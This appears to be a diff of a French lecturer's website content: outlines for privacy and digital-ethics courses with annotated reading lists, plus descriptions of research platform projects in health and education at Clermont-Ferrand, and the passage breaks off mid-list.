		* [https](/slides/privacy/tls.html#/0/52)
		* [PGP/GPG](/slides/privacy/pgp.html#/)
		* [TLS VS PGP](/slides/privacy/TLSvsPGP.html)
		* [Tor](/privacy/tor.html)
		* [Bitcoin](/privacy/bitcoin.html)
		* [Tails](/slides/privacy/tails.html)


		<div class="panel panel-success">
		<div class="panel-heading">
		<h3 class="panel-title">FYI</h3>
		</div>
		<div class="panel-body">
		<ul>
		<li>Tous les slides sont fait avec <a href="https://github.com/hakimel/reveal.js">reveal.js</a>
		<ul>
		<li>ils sont exportables en pdf en ajoutant <code>?print-pdf#</code> à l'url (à coller juste après le <code>.html</code>) et en passant par l'impression dans un fichier du navigateur chrome ou (mieux) <a href="https://www.chromium.org/">chromium</a>
		<ul>
		<li>plus de détails sur l'<a href="https://github.com/hakimel/reveal.js/#pdf-export">export PDF de reveal</a></li>
		</ul>
		</li>
		</ul>
		</li>
		</ul>
		</div>
		</div>

		## Evaluation

		* Examen écrit en fin de session

		## Environnement de TP

		* N'importe quelle VMs fresh de type debian fonctionnera avec les commandes du support de cours

		<!--
		### déployer et configurer TLS avec Apache

		* [https://gitlab.isima.fr/vimazeno/tp-www-ssl](https://gitlab.isima.fr/vimazeno/tp-www-ssl)

		## Mini projet en binôme

		* Donnez une manière de générer un [QR-code permettant d'importer directement une clé publique PGP avec OpenKeyChain](https://github.com/open-keychain/open-keychain/wiki/QR-Codes)
		* listez les outils utilisés
		* détaillez les commandes à effectuer pour passer de la clé publique au QR-Code
		* détaillez comment vous avecz tester le contenu de votre QR-Code
		* joignez le QR-Code de votre clé PGP au message
		* Publiez votre clé PGP sur https://pgp.mit.edu puis envoyez moi l'url de votre clé
		* Signez ma clé PGP isima https://fc.isima.fr/~mazenod/pages/pgp.html ou https://pgp.mit.edu/pks/lookup?op=vindex&search=0x408A4E510DCD0D14 et envoyez là moi en pièce jointe de votre message (2 points)
		* Votre message devra être chiffré, signé et comporter votre clé publique en pièce jointe

		* Rendu le 25/03/2019 à 23h59 dernier délais

		* à [vincent.mazenod@uca.fr](mailto:vincent.mazenod@uca.fr)

		* ```[TP privacy crypto]``` dans le sujet du mail ... sinon je vous perds ;)


		* Tous les fichiers nommés en NOMETUDIANT1_NOMETUDIANT2_nomfichier.ext

		-->

		## Evaluation du cours

		Vous avez aimé ou vous avez détesté ce cours ... [donnez moi votre avis et aidez moi à l'améliorer (en tout anonymat)](https://docs.google.com/forms/d/1w65KH2cnL_DbTKrUT-2AMvQ_p0Ht-wfSJT2YLEB8l7E/prefill)

content/Etudiants/zz2-f5-websec.md

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content/Etudiants/zz3-ethic.md

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		Title: ZZ3 - Ethique du numérique
		Date: 2020-10-22 08:00
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: cours, éthique

		[TOC]

		<div class="panel panel-success">
		<div class="panel-heading">
		<h3 class="panel-title">FYI</h3>
		</div>
		<div class="panel-body">
		<ul>
		<li>Tous les slides sont fait avec <a href="https://github.com/hakimel/reveal.js">reveal.js</a>
		<ul>
		<li>ils sont exportables en pdf en ajoutant <code>?print-pdf#</code> à l'url (à coller juste après le <code>.html</code>) et en passant par l'impression dans un fichier du navigateur chrome ou (mieux) <a href="https://www.chromium.org/">chromium</a>
		<ul>
		<li>plus de détails sur l'<a href="https://github.com/hakimel/reveal.js/#pdf-export">export PDF de reveal</a></li>
		</ul>
		</li>
		</ul>
		</li>
		</ul>
		</div>
		</div>

		### une contre histoire de l'utopie numérique

		* [<i class="fas fa-desktop"></i> une contre histoire de l'utopie numérique](slides/privacy/chun.html)


		### Je n'ai rien à cacher

		* [<i class="fas fa-desktop"></i> je n'ai rien à cacher](slides/privacy/jnarac2.html)

		### Liens

		<div class="panel panel-success">
		<div class="panel-heading">
		<h3 class="panel-title">Pour acheter des livres ...</h3>
		</div>
		<div class="panel-body">
		plutôt que d'acheter sur amazon pensez local et commandez via le site <a href="https://www.librairielesvolcans.com/">de la scop des volcans</a>:
		<ul>
		<li>c'est le même prix</li>
		<li>ils peuvent tout obtenir dans un délais raisonnable en commandant à partir du site</li>
		<li>ils vous préviennent par mail ou SMS quand la commande est arrivée</li>
		<li>il faut juste aller chercher la commande chez des gens qui ont le sourire, et qui sont les <a href="https://www.librairielesvolcans.com/l-histoire-de-la-scop/ssh-4823">actionnaires de la boutique pour la quelle ils travaillent</a></li>
		</ul>
		</div>
		</div>

		#### Novlangue

		* [<i class="fab fa-wikipedia-w"></i> Novlangue](https://fr.wikipedia.org/wiki/Novlangue)
		* [<i class="fas fa-newspaper"></i> Quand la "vidéoprotection" remplace la "vidéosurveillance" (Le monde)](https://www.lemonde.fr/societe/article/2010/02/16/quand-la-videoprotection-remplace-la-videosurveillance_1306876_3224.html)
		* [<i class="fab fa-youtube"></i> sur la manipulation des mots (Franck Lepage)](https://www.youtube.com/watch?v=mD-G5lHXviY)
		* [<i class="fab fa-youtube"></i> Le mot qui a remplacé "Hiérarchie" (Franck Lepage)](https://www.youtube.com/watch?v=IUB1XsT5IQU)
		* [<i class="fab fa-youtube"></i> La langue de bois décryptée avec humour ! (Franck Lepage)](https://www.youtube.com/watch?v=oNJo-E4MEk8)

		#### Histoire du numérique

		* [<i class="fas fa-newspaper"></i> Chronologie du réseau Internet](http://www.tiki-toki.com/timeline/embed/137139/6372410394/#vars!date=1954-07-27_20:20:56!)
		* [<i class="fas fa-newspaper"></i> Une histoire d'Internet (Laurent Chemla)](http://www.chemla.org/textes/hinternet.html)
		* [<i class="fas fa-newspaper"></i> Déclaration d’indépendance du Cyberespace (John P. Barlow)](http://editions-hache.com/essais/barlow/barlow2.html)
		* [<i class="fas fa-newspaper"></i> Une nouvelle déclaration d’indépendance du cyberespace (Libération)](http://www.liberation.fr/amphtml/debats/2018/02/09/une-nouvelle-declaration-d-independance-du-cyberespace_1628377)
		* [<i class="fas fa-podcast"></i> Une histoire de… l'Internet (Julien Le Bot)](https://www.radiofrance.fr/franceculture/podcasts/serie-une-histoire-de-l-internet)
		* [<i class="fas fa-book"></i> Aux sources de l'utopie numérique (Fred turner)](http://cfeditions.com/Turner/)
		* [<i class="fas fa-book"></i> Les Rêves cybernétiques de Norbert Wiener(Pierre Cassou-Noguès)](https://www.seuil.com/ouvrage/les-reves-cybernetiques-de-norbert-wiener-pierre-cassou-nogues/9782021090284)
		* [<i class="fas fa-book"></i> Internet, année zéro (Jonathan Bourguignon)](https://www.editionsdivergences.com/livre/internet-annee-zero)
		* [<i class="fas fa-book"></i> L'utopie déchue (Félix Tréguer)](https://www.fayard.fr/sciences-humaines/lutopie-dechue-9782213710044)
		* [<i class="fas fa-book"></i> Cyberstructure (Stéphane Bortzmeyer)](https://cfeditions.com/cyberstructure/)
		* [<i class="fab fa-youtube"></i> Jurassic Web, Une préhistoire des réseaux sociaux](https://www.youtube.com/watch?v=mLEbi2MAoL8)
		* [<i class="fab fa-youtube"></i> Une contre histoire de l'Internet](https://www.youtube.com/watch?v=MUTABXD8f24)
		* [<i class="fab fa-youtube"></i> The Net: The Unabomber, LSD & the Internet](https://www.youtube.com/watch?v=GY6fb59XFbQ)
		* [<i class="fab fa-youtube"></i> Comprendre ce que représente le mythe de la « frontière électronique » (Stéphanie Ouillon)](https://video.passageenseine.fr/videos/watch/555339ff-ef64-4e18-af40-6bd79b78008b)
		* [<i class="fab fa-youtube"></i> Halt and Catch Fire (série télévisée)](https://fr.wikipedia.org/wiki/Halt_and_Catch_Fire_(s%C3%A9rie_t%C3%A9l%C3%A9vis%C3%A9e))
		* [<i class="fab fa-youtube"></i> Internet VS minitel 2.0 (Benjamin Bayard)](https://cfeditions.com/cyberstructure/)

		#### Souveraineté

		* [<i class="fas fa-newspaper"></i> Code is law / le code fait loi (Lawrence Lessig)](https://framablog.org/2010/05/22/code-is-law-lessig/)
		* [<i class="fas fa-book"></i> Richard Stallman et la révolution du logiciel libre - Une biographie autorisée (Sam Williams, Richard Stallman &Christophe Masutti)](https://framabook.org/docs/stallman/framabook6_stallman_v1_gnu-fdl.pdf)
		* [<i class="fab fa-youtube"></i> L'éthique des hackers (Steven Levy)](https://www.editions-globe.com/lethique-des-hackers/)
		* [<i class="fas fa-film"></i> The Internet's Own Boy - l'histoire d'Aaron Schwartz](https://www.youtube.com/watch?v=7ZBe1VFy0gc)

		#### Microtravail

		* [<i class="fab fa-youtube"></i> Invisibles: Les travailleurs du clic](https://www.france.tv/slash/invisibles/saison-1/)

		#### Intelligence artificielle

		* [<i class="fab fa-youtube"></i> L'asservissement par l'Intelligence Artificielle ? (Éric Sadin chez ThinkerView)](https://www.youtube.com/watch?v=VzeOnBRzDik)
		* [<i class="fab fa-youtube"></i> Conférence ChatGPT : Une évolution technique majeure (Vincent Guigue)](https://webtv.uca.fr/video/2c0d336a-eb51-4e22-9415-0da2ef0eb3a6)
		* [<i class="fab fa-youtube"></i> De quoi ChatGPT est-il VRAIMENT capable ? (Monsieur Phi)](https://www.youtube.com/watch?v=R2fjRbc9Sa0)

		#### Big Tech

		* [<i class="fas fa-book"></i> Le mythe de l'entrepreneur: Défaire l'imaginaire de la Silicon Valley (Anthony Galluzzo)](https://www.editionsladecouverte.fr/le_mythe_de_l_entrepreneur-9782355221972)
		* [<i class="fas fa-book"></i> Steve Jobs (Walter Isaacson)](https://fr.wikipedia.org/wiki/Steve_Jobs_(livre))
		* [<i class="fas fa-film"></i> Steve Jobs (Danny Boyle)](https://fr.wikipedia.org/wiki/Steve_Jobs_(film))
		* [<i class="fas fa-film"></i> Silicon Valley (série télévisée)](https://fr.wikipedia.org/wiki/Silicon_Valley_(s%C3%A9rie_t%C3%A9l%C3%A9vis%C3%A9e))


		#### Surveillance

		* [<i class="fab fa-wikipedia-w"></i> Fichage en france](https://fr.wikipedia.org/wiki/Fichage_en_France)
		* [<i class="fas fa-newspaper"></i> Loi de Programmation Militaire 2014-2019 : Eléments d’évaluation du risque législatif lié à l’article 13](http://ifrei.org/tiki-download_file.php?fileId=59)
		* [<i class="fab fa-youtube"></i> Tous surveillés - 7 milliards de suspects !](https://www.arte.tv/fr/videos/083310-000-A/tous-surveilles-7-milliards-de-suspects/)
		* [<i class="fab fa-youtube"></i> Rien à cacher](https://www.youtube.com/watch?v=djbwzEIv7gE)
		* [<i class="fas fa-film"></i> Citizen four - (Laura Poitras)](https://www.youtube.com/watch?v=ABBPRd7ARYM)
		* [<i class="fas fa-film"></i> Le cinquième pouvoir](https://fr.wikipedia.org/wiki/Le_Cinqui%C3%A8me_Pouvoir)
		* [<i class="fas fa-film"></i> Underground : L'Histoire de Julian Assange](https://fr.wikipedia.org/wiki/Underground_:_L%27Histoire_de_Julian_Assange)
		* [<i class="fas fa-film"></i> Snowden](https://fr.wikipedia.org/wiki/Snowden_(film))
		* [<i class="fas fa-book"></i> surveillance:// (Tristan Nitot)](http://standblog.org/blog/pages/Surveillance)
		* [<i class="fas fa-book"></i> Attentifs ensemble! (Jérôme Thorel)](http://www.editionsladecouverte.fr/catalogue/index-Attentifs_ensemble__-9782707174215.html)
		* [<i class="fas fa-book"></i> Menaces sur nos libertés (Julian Assange / Jacob Appelbaum / Müller-Maguhn / Jérémie Zimmermann)](https://korben.info/menace-sur-nos-libertes-assange.html)
		* [<i class="fas fa-book"></i> Guide d'autodéfense numérique](https://guide.boum.org/)
		* [<i class="fas fa-book"></i> Mémoires Vives (Edward Snowden)](https://fr.wikipedia.org/wiki/M%C3%A9moires_vives_(livre))
		* [<i class="fas fa-book"></i> L’Âge du capitalisme de surveillance (Shoshana Zuboff)](https://www.zulma.fr/livre/lage-du-capitalisme-de-surveillance/)
		* [<i class="fas fa-book"></i> Le bug humain (Sébastien Bohler)](https://fr.wikipedia.org/wiki/Le_Bug_humain)

		#### Piraterie

		* [<i class="fab fa-youtube"></i> TPB AFK: The Pirate Bay Away From Keyboard](https://www.youtube.com/watch?v=eTOKXCEwo_8)

		#### Sécurité

		* [<i class="fas fa-university"></i> ANSSI](https://www.ssi.gouv.fr/)
		* [<i class="fab fa-youtube"></i> Les marchands de peur / La bande à Bauer et l'idéologie sécuritaire (Mathieu Rigouste)](https://www.editionslibertalia.com/catalogue/a-boulets-rouges/Les-Marchands-de-peur)
		* [<i class="fas fa-film"></i> Cybertraque](https://fr.wikipedia.org/wiki/Cybertraque_(film))


		#### Société

		* [<i class="fab fa-wikipedia-w"></i> Luddisme](https://fr.wikipedia.org/wiki/Luddisme)
		* [<i class="fab fa-wikipedia-w"></i> Comité pour la liquidation ou la destruction des ordinateurs (CLODO)](https://fr.wikipedia.org/wiki/Comit%C3%A9_pour_la_liquidation_ou_la_destruction_des_ordinateurs)
		* [<i class="fab fa-wikipedia-w"></i> Jello Biafra](https://fr.wikipedia.org/wiki/Jello_Biafra)
		* [<i class="fas fa-book"></i> Cybernétique et société (Norbert wiener)](http://www.seuil.com/ouvrage/cybernetique-et-societe-norbert-wiener/9782757842782)
		* [<i class="fas fa-book"></i> Le cimetière de Prague (Umbero Eco)](https://www.grasset.fr/livres/le-cimetiere-de-prague-9782246783893)
		* [<i class="fas fa-book"></i> La société du risque (Ulrich Beck)](https://editions.flammarion.com/Catalogue/champs-essais/philosophie/la-societe-du-risque)
		* [<i class="fas fa-book"></i> Surveiller et punir (Michel Foucault)](https://fr.wikipedia.org/wiki/Surveiller_et_punir)
		* [<i class="fas fa-book"></i> Sapiens : Une brève histoire de l'humanité (Yuval Noah Harari)](https://www.albin-michel.fr/ouvrages/sapiens-edition-limitee-9782226445506)


		### Evaluation

		* Questionnaire papier à remplir en fin de cours
		No newline at end of file

content/Projets/arborea.md

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Original line number	Diff line number	Diff line
		Title: ARBORea <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		Date: 2019-10-06 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, santé


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
		<span class="sr-only">100% complete</span>
		</div>
		</div>

		ARBORea est un projet interdisciplinaire mené en collaboration avec le [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/)

		Le recours aux contentions mécaniques est une pratique fréquente pour les soignants en service de réanimation. Cet acte, réalisé sur prescription médicale, requiert l’attention de l’ensemble des équipes paramédicales et médicales pour sa mise en place, sa surveillance et sa levée. Il constitue une restriction majeure de la liberté individuelle des patients. La [Haute Autorité de Santé (HAS0](https://www.has-sante.fr/) a défini, pour les services de gériatrie et de psychiatrie, dix critères de bonnes pratiques afin d’assurer la qualité d’utilisation des contentions. Aucune législation n’est retrouvée concernant ces pratiques en réanimation, bien que quotidiennement utilisées. En pratique courante, le principal critère d’instauration des contentions rapporté par les soignants est la sécurité. L’équipe paramédicale, en première ligne au chevet des patients, est garante de leur sécurité et de leur intégrité physique. Cette décision, souvent laissée à la seule appréciation de l’infirmier(e), varie en fonction de sa propre représentation du risque et dépend de plusieurs facteurs : son ancienneté en réanimation, du ratio infirmier/patient et de la charge de travail dans l’unité.

		Les patients de réanimation ayant souvent un conditionnement vital, l’évaluation de l’importance de celui-ci et du risque lié à son endommagement ou son retrait inopiné conditionne la décision de contention par le soignant.
		La désorientation ou le delirium peuvent entraîner des incidents sévères en favorisant des déconditionnements accidentels. Cependant, il est reconnu que les contentions peuvent devenir une cause majeure d’apparition d’un syndrome confusionnel (delirium) et d’une agitation.

		D’après la littérature, environ 33% des patients de réanimation font l’objet d’une contention, et un déconditionnement accidentel est observé majoritairement chez ces derniers. Lors d’un recueil de données réalisées en 2018 au [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/), sur 275 patients de réanimation adulte, il ressortait un taux de contention de 28%.

		Afin de réduire la subjectivité et l’hétérogénéité des pratiques, un outil d’aide à la décision de mise en place des contentions a été développé. Il repose sur des éléments objectifs concernant l’état neurologique du patient sur la base des scores de RASS (Richmond Agitation-Sedation Scale) et de CAM-ICU (Confusion Assessment Method for the Intensive Care Unit) et par les modifications de posologie des sédations. Par ailleurs, trois catégories de patients ont été définies selon le caractère invasif du conditionnement et donc selon le risque encouru en cas de retrait inopiné. Enfin, la présence de la famille du patient et son adhésion à sa surveillance ont été intégrées à l’outil.

		* Objectifs : Étudier conjointement l’efficacité et la tolérance de l’utilisation d’un outil d’aide à la décision de contention mécanique des patients hospitalisés en réanimation.

		* Type d’étude : Essai contrôlé randomisé multicentrique en stepped wedge (permutation en grappe)

		* Nombre de centres : 19 centres

		<hr/>

		## Pour ce projet (entre 2019 et 2022)

		* j'ai défini les besoins et l'architecture technique
		* j’ai développé un maquette, sécurisée en conformité avec la [cadre légal concernant l'hébergement et le traitement des données de santé](https://www.cnil.fr/fr/thematiques/sante), selon permettant aux soignants
		* de saisir un nouveau dossier pseudonymisé
		* de bénéficier d'une aide à la décision de contention
		* d'effectuer le suivi des incidents
		* de gérer l'accès des soignants à la plateforme via un système de gestion d'utilisateur et une interface d'administration complète
		* Le projet est désormais géré par le [<i class="fab fa-linkedin"></i> Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/) actuellement en poste au [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/)

content/Projets/cepppia.md

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+30 −0

Original line number	Diff line number	Diff line
		Title: Cepppia <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		Date: 2016-10-15 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		tags: www, santé, mining


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="70" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
		<span class="sr-only">100% complete</span>
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		</div>

		est un projet issu des travaux du groupe santé [du Conseil de Développement du Grand Clermont](https://www.legrandclermont.com/conseil-de-developpement). Il est porté par le [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/) et co-financé par l'Union Européenne.

		Il propose une ambition nouvelle en santé, par la mise en œuvre du concept de médecine 4P : Prédictive, Préventive, Personnalisée et Participative.

		Ce projet est articulé autour d’un questionnaire sur les habitudes alimentaires et comportementales des personnes sondées et une partie analyse de données collectées permettant d’automatiser et d’enrichir la détection des profils à risque.

		<hr />

		## Pour ce projet

		De 2016 à 2018

		* j'ai défini les besoins et l'architecture technique sécurisée basée sur, une analyse de risque respectant les contraintes du cahier des charges HDS.
		* j'ai rédigé les spécifications techniques pour l’appel d’offre pour un hébergement certifié HDS et participé au choix final du prestataire
		* j'ai mis en conformité la plateforme avec [cadre légal concernant l'hébergement et le traitement des données de santé](https://www.cnil.fr/fr/thematiques/sante)
		* j'ai encadré un ingénieur en charge du développement logiciel
		* Carlos Cepeda
		* j'ai coordoné le déploiement de l'applicatif en production avec le prestataire d'hébergement de données de santé [IBO](https://www.ibo.fr/)

content/Projets/eP3C.md

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+41 −0

Original line number	Diff line number	Diff line
		Title: eP3C <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		Date: 2017-11-21 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, éducation, STI, LRS


		<div class="progress">
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		<span class="sr-only">100% complete</span>
		</div>
		</div>


		Le projet [e-P3C (Pluralité des Contextes, Compétences et Comportements)](https://www.ac-clermont.fr/presentation-des-resultats-e-fran-123094) est un projet lauréat de l'appel à projet [e-Fran](https://www.education.gouv.fr/e-fran-des-territoires-educatifs-d-innovation-numerique-326083) initié par la mission Monteil (mission interministérielle sur le numérique éducatif) dans le cadre du [Programme d’Investissements d’Avenir (PIA2)](https://www.education.gouv.fr/bo/15/Hebdo30/MENB1517013N.htm) et dans le but d’apporter un soutien financier à des projets mobilisateurs de territoires éducatifs innovants, de stimuler la création d’une culture partagée autour des enjeux de l’éducation à la société numérique et autour de la nécessité d’apprendre "le numérique" et "avec le numérique".

		eP3C est porté par [Pascal Huguet](https://lapsco.fr/la-direction.html), Directeur du [laboratoire de psychologie sociale et cognitive (LAPSCO)](https://lapsco.fr) (UMR 6024 UCA-CNRS), en partenariat étroit avec le [Rectorat de Clermont-Ferrand](https://www.ac-clermont.fr/), notamment avec Marie- Claude Borion, chargée de mission à la délégation académique au Numérique et Nicolas Rocher IPR, représentant des corps d'inspection. Deux entreprises régionales ([maskott](https://www.maskott.com/) et [Perfect memory](https://perfect-memory.com)) ont également collaboré à l'élaboration de ce projet, qui a impliqué quelques 8000 élèves de l'académie dans 10 établissements scolaires, et est le fruit d'une réflexion concertée entre les différents partenaires avec une implication forte des corps d'inspection et des chefs d'établissements qui ont participé à une grande expérimentation sur la diversification des contextes d'apprentissage.

		Pendant les 4 ans de son déroulement les équipes pédagogiques ont été associées à la construction des protocoles de recherche.

		L'académie a soutenu fortement la candidature en s'engageant auprès des acteurs et en dégageant des heures pour les enseignants référents dans les établissements.

		L'objectif est d’optimiser l’utilisation des technologies numériques pour diversifier les contextes d’apprentissage au service de la réussite de tous les élèves. Concrètement, il s'agit de présenter un même objet d'apprentissage (par exemple un théorème, un principe de physique ou un problème de biologie) et des exercices afférents selon différentes modalités (des plus formelles aux plus ludiques) pour en augmenter la compréhension par tous les élèves, le tout au sein d'un système de tutorat intelligent (STI) capable de recommandations en fonction des actions , des erreurs et des succès de chaque élève. Les données collectées, très nombreuses, seront rigoureusement analysées pour tester l'efficacité des actions entreprises dans ce cadre. Le projet concerne tous les niveaux du collège au lycée.

		[Plus d'informations](https://www.ac-clermont.fr/recherche/type/actualites?keywords=ep3c)

		<hr/>

		## Pour ce projet

		Entre 2017 et 2021

		* j'ai défini les besoins et l'architecture technique
		* j'ai recruté un développeur pour la conception de la plateforme
		* [Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/)
		* j'ai encadré le développeur recruté tout au long du développement de la plateforme
		* j'ai joué le rôle de coordianteur entre
		* le [rectorat de Clermont-Ferran](http://www.ac-clermont.fr/) notamment pour la partie hébergement
		* [Maskott](https://www.maskott.com/) pour la récupération des données en provenance du STI
		* [Perfect memory](https://perfect-memory.com) pour la partie organisation des connaissances sur les supports de cours
		* les chercheurs du [LAPSCO](https://www.lapsco.fr/) pour la mise en place des questionnaires
		* je suis co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>
		No newline at end of file

content/Projets/eccipe.md

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+33 −0

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		Title: ECCIPE <i class="fas fa-spinner fa-spin"></i>
		Date: 2021-01-06 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, éducation


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 50%">
		<span class="sr-only">50% complete</span>
		</div>
		</div>

		Pour le moment eccipe est un projet autonome, développé en collaboration étroite avec le [LP3C](https://www.lp3c.fr). A terme il fera parti intégrante de l'écosystème applicatif du projet <a href="/profan-transfert.html"><span class="label label-success">ProFan-Transfert</span></a>.

		Ce projet a pour objectif de concevoir et évaluer l’efficacité d’un outil numérique d’entraînement au travail en équipe sur le développement des compétences collaboratives utilisable en présentiel et/ou à distance. Il s’adresse aux publics en formation initiale et en formation continue.

		Le programme de recherches menées sur différents terrains d’études (lycées, universités, écoles d’ingénieurs, …) devra permettre de répondre à deux questions :

		1) comment accompagner/guider les apprenants pendant les activités collaboratives pour favoriser des processus d’équipe efficaces au service du développement de compétences collaboratives (Thèse de Sacha DROUET) ?

		2) quels types de feed-back faut-il délivrer aux apprenants après une séance de travail en équipe pour conduire des séances de débriefing susceptibles de faciliter le développement de ces compétences (Thèse d’Albane PECHARD) ?

		* Plus de détails sur eccipe: [https://www.lp3c.fr/projets-finances/eccipe/](https://www.lp3c.fr/projets-finances/eccipe/)
		* Lien vers la plateforme: [https://eccipe.limos.fr/](https://eccipe.limos.fr/)

		<hr />

		## Pour ce projet (depuis 2021)

		* j'ai défini les besoins et l'architecture technique
		* j'ai recruté un développeur pour la conception de la plateforme
		* [<i class="fab fa-linkedin"></i> Lise Demourgues](https://www.linkedin.com/in/lise-d-93935b15a/)
		* j'ai encadré ce développeur pour la réalisation d'une maquette de la plateforme

content/Projets/mobipaleo.md

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+26 −0

Original line number	Diff line number	Diff line
		Title: Mobipaleo <i class="fas fa-spinner fa-spin"></i>
		Date: 2016-11-15 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, mining


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="90" aria-valuemin="0" aria-valuemax="100" style="width: 90%">
		<span class="sr-only">90% complete</span>
		</div>
		</div>

		[Mobipaleo](https://mobipaleo.limos.fr/) est un projet interdisciplinaire visant à modéliser la biodiversité à partir d'études paleoécologiques et écologiques. Le [Geolab](https://geolab.uca.fr/) et le [Muséum national d'Histoire naturelle](https://www.mnhn.fr/fr) sont impliqués dans ce projet.

		<hr />

		## Pour ce projet (depuis 2016)

		* j'ai défini les besoins et l'architecture technique
		* j’ai développé [https://mobipaleo.limos.fr](http://mobipaleo.limos.fr) qui permet

		* d’exploiter facilement un outil d’extraction de corrélations.
		* de présenter visuellement les résultats
		* de gérer l'accès à la plateforme via un système de gestion d'utilisateur et une interface d'administration complète
		* [<i class="fab fa-linkedin"></i> Rémy ISSARD](https://www.linkedin.com/in/r%C3%A9my-issard-7b130731/?originalSubdomain=fr) est en charge de la maintenance du produit depuis 2023
		* je suis co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>
		No newline at end of file

content/Projets/profan-transfert.md

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+49 −0

Original line number	Diff line number	Diff line
		Title: Profan-Transfert <i class="fas fa-spinner fa-spin"></i>
		Date: 2023-03-30 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, éducation


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 30%">
		<span class="sr-only">30% complete</span>
		</div>
		</div>

		<img src="https://profan-transfert.limos.fr/ProFAN.svg" style="width:400px;padding:20px" />
		### un enjeu pour l'enseignement, un enjeu pour la science


		L'ambition première de ProFan Transfert est d'adosser la formation à la recherche scientifique de manière pragmatique.

		Cette ambition est actuellement incarnée, pour chaque participant à l'expérimentation, par une plateforme numérique ayant pour but de fluidifier toutes les étapes nécessaires à l'enseignement: la formation des enseignants, la conception d'activités pédagogiques conformes à ces formations, et finalement le bon déroulement des activités ainsi construites, avec les apprenants.

		En s'attaquant à la formation professionnelle, Profan-Transfert cible un sous ensemble de l'enseignement secondaire orienté de fait vers la pratique. Ce sous ensemble représente à la fois un enjeu majeur pour les métiers de demain, un contexte propice à la numérisation de l'enseignement et une population d'enseignants et d'apprenants significative, qui permettra de valider ou non les hypothèses que le projet sous-tend.

		L'organisation en cohorte incrémentale par année, permet une montée en charge progressive. Chaque année, de nouvelles fonctionnalités sont proposées à la première cohorte historique. Les nouveaux utilisateurs entrant dans le programme au fil des années suivantes, suivent alors le chemin de formation, d'élaboration et de mise en application, tracé et consolidé par la cohorte précédente.

		La plateforme est pensée pour faciliter la collaboration, la diffusion et le partage d'informations. Accessible par un simple navigateur et sécurisée par une gestion de permissions fine, elle permet à chaque utilisateur, de consulter toutes les ressources qui lui sont accessibles, et de produire lui même son propre contenu. Les contenus sont organisés par profils d'utilisateur et par académie, mais accessibles en lecture par tous, afin de favoriser les synergies.

		La mise à disposition de contenu est gérée par un produit de partage de fichiers open source (https://owncloud.com), les échanges entre utilisateurs par un produit de discussion open source (https://www.discourse.org), et le reste de la plateforme a été intégralement développé par le LIMOS (https://limos.fr) dans un esprit de réutilisabilité. La souveraineté induite par ces choix technologiques, permet une grande réactivité, ainsi qu'une grande liberté quant aux évolutions des fonctionnalités tout au long de l'expérimentation. Les activités pédagogiques présentées aux apprenants peuvent notamment faire l'objet de développements particuliers: par filière, voire par discipline.

		La souveraineté de la plateforme ProFan Transfert permet surtout l'extraction du surplus comportemental de tous les utilisateurs, c'est à dire toutes leurs actions de consultation et d'édition de contenus. C'est sans doute le caractère le plus innovant de l'expérimentation. L'exploitation sans partage des faits et gestes numériques des utilisateurs est le modèle économique des BigTech et autres GAFAM depuis maintenant plus de 20 ans. ProFan Transfert, conscient de la valeur intrinsèque de ce type d'information, propose une exploitation scientifique de ces données, en les contextualisant et en les portant à la connaissance de la communauté scientifique et plus particulièrement, à l'attention des chercheurs en sciences psychologiques et cognitives. Les données seront accessibles dans un entrepôt de données, conforme au cadre légal sur les données personnelles, conçu lui aussi par le LIMOS.

		Ainsi ProFan transfert propose à la fois des outils pour les enseignants, des outils pour les apprenants et des outils pour les chercheurs, qui permettront d'amorcer une boucle de rétroaction entre la science et l'enseignement, afin de les faire avancer en synergie.

		* Plus de détails sur le projet ProFAN-Transfert: [https://www.enseignementsup-recherche.gouv.fr/fr/bo/23/Hebdo13/MENE2308139N.htm](https://www.enseignementsup-recherche.gouv.fr/fr/bo/23/Hebdo13/MENE2308139N.htm)
		* Lien vers la plateforme: [https://profan-transfert.limos.fr/](https://profan-transfert.limos.fr/)

		<hr />

		## Pour ce projet (depuis 2023)

		* j'ai défini les besoins et l'architecture technique
		* j'ai recruté 4 développeurs pour la conception de la plateforme
		* [<i class="fab fa-linkedin"></i> Timothé Bertrand](https://www.linkedin.com/in/timoth%C3%A9-bertrand-%F0%9F%A6%80-1a178b200/)
		* [<i class="fab fa-linkedin"></i> Théo Lecoublet](https://www.linkedin.com/in/th%C3%A9o-lecoublet/)
		* [<i class="fab fa-linkedin"></i> Stéphane Guillet](https://www.linkedin.com/in/stephane-guillet/)
		* Axel Mascaro
		* j'encadre ces 4 développeurs
		* j'ai joué le rôle de coordinateur entre
